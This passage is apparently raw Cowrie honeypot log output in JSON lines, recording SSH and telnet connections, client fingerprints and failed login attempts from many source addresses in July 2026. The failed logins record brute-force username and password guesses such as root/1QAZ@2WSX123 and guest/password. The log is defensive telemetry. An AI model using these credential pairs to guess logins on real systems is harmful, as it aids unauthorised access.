56","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:19.160465Z","src_ip":"103.86.198.253","session":"fc2b0bf32e81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"tseug","message":"login attempt [guest/tseug] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:20.253754Z","src_ip":"103.86.198.253","session":"fc2b0bf32e81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.236.63","src_port":57442,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9c556ee97be","protocol":"telnet","message":"New connection: 139.59.236.63:57442 (159.203.135.109:23) [session: d9c556ee97be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:20.276591Z"}
{"eventid":"cowrie.session.connect","src_ip":"211.251.245.88","src_port":58650,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b50e34337c4","protocol":"ssh","message":"New connection: 211.251.245.88:58650 (10.17.0.5:22) [session: 9b50e34337c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:20.280793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:20.284479Z","src_ip":"211.251.245.88","session":"9b50e34337c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:20.486776Z","src_ip":"211.251.245.88","session":"9b50e34337c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www.51idc.com","message":"login attempt [root/www.51idc.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:21.329697Z","src_ip":"211.251.245.88","session":"9b50e34337c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:21.521265Z","src_ip":"103.86.198.253","session":"fc2b0bf32e81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:22.533696Z","src_ip":"211.251.245.88","session":"9b50e34337c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.177.101.45","src_port":52104,"dst_ip":"10.17.0.5","dst_port":22,"session":"02af72d932ef","protocol":"ssh","message":"New connection: 81.177.101.45:52104 (10.17.0.5:22) [session: 02af72d932ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:29.672638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:29.685316Z","src_ip":"81.177.101.45","session":"02af72d932ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:29.811890Z","src_ip":"81.177.101.45","session":"02af72d932ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin2025","message":"login attempt [sysadmin/sysadmin2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:30.428408Z","src_ip":"81.177.101.45","session":"02af72d932ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.963660717010498,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:31.240134Z","src_ip":"139.59.236.63","session":"d9c556ee97be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:31.657375Z","src_ip":"81.177.101.45","session":"02af72d932ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.1.33","src_port":57314,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5aaa45f38ee","protocol":"ssh","message":"New connection: 103.78.1.33:57314 (10.17.0.5:22) [session: d5aaa45f38ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:37.934246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:37.937335Z","src_ip":"103.78.1.33","session":"d5aaa45f38ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:38.161188Z","src_ip":"103.78.1.33","session":"d5aaa45f38ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"admin","message":"login attempt [ansible/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:39.092775Z","src_ip":"103.78.1.33","session":"d5aaa45f38ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:40.320904Z","src_ip":"103.78.1.33","session":"d5aaa45f38ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39494,"dst_ip":"159.203.135.109","dst_port":23,"session":"e342d58186d8","protocol":"telnet","message":"New connection: 170.64.224.25:39494 (159.203.135.109:23) [session: e342d58186d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:40.717525Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.113.139.51","src_port":42296,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c1999e8b9ba","protocol":"ssh","message":"New connection: 185.113.139.51:42296 (159.203.135.109:22) [session: 0c1999e8b9ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:41.233862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:41.237750Z","src_ip":"185.113.139.51","session":"0c1999e8b9ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:41.338832Z","src_ip":"185.113.139.51","session":"0c1999e8b9ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"m","message":"login attempt [ubuntu/m] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:41.772381Z","src_ip":"185.113.139.51","session":"0c1999e8b9ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:42.873578Z","src_ip":"185.113.139.51","session":"0c1999e8b9ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"99.252.20.159","src_port":59542,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a2f9d1ecf7f","protocol":"ssh","message":"New connection: 99.252.20.159:59542 (10.17.0.5:22) [session: 8a2f9d1ecf7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:54.119034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:54.123062Z","src_ip":"99.252.20.159","session":"8a2f9d1ecf7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:54.156098Z","src_ip":"99.252.20.159","session":"8a2f9d1ecf7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alpaca","password":"alpaca123","message":"login attempt [alpaca/alpaca123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:54.333226Z","src_ip":"99.252.20.159","session":"8a2f9d1ecf7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:39:55.370725Z","src_ip":"99.252.20.159","session":"8a2f9d1ecf7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":50508,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d0cbca06595","protocol":"ssh","message":"New connection: 91.92.40.176:50508 (10.17.0.5:22) [session: 1d0cbca06595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:02.443783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:02.449773Z","src_ip":"91.92.40.176","session":"1d0cbca06595","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:02.552421Z","src_ip":"91.92.40.176","session":"1d0cbca06595","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"password","message":"login attempt [guest/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:02.965788Z","src_ip":"91.92.40.176","session":"1d0cbca06595","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:04.116746Z","src_ip":"91.92.40.176","session":"1d0cbca06595","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":55636,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ff8e45fdf94","protocol":"telnet","message":"New connection: 107.6.151.170:55636 (159.203.135.109:23) [session: 1ff8e45fdf94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:17.473810Z"}
{"eventid":"cowrie.session.closed","duration":38.866220474243164,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:19.583632Z","src_ip":"170.64.224.25","session":"e342d58186d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":41123,"dst_ip":"159.203.135.109","dst_port":22,"session":"58156417113d","protocol":"ssh","message":"New connection: 178.20.210.208:41123 (159.203.135.109:22) [session: 58156417113d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:26.243388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:26.247303Z","src_ip":"178.20.210.208","session":"58156417113d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:26.342798Z","src_ip":"178.20.210.208","session":"58156417113d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZ@2WSX123","message":"login attempt [root/1QAZ@2WSX123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:26.728109Z","src_ip":"178.20.210.208","session":"58156417113d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:27.830992Z","src_ip":"178.20.210.208","session":"58156417113d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":15992,"dst_ip":"10.17.0.5","dst_port":22,"session":"a998ac63131b","protocol":"ssh","message":"New connection: 38.93.206.2:15992 (10.17.0.5:22) [session: a998ac63131b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:30.562798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:40:30.566467Z","src_ip":"38.93.206.2","session":"a998ac63131b","protocol":"ssh"}
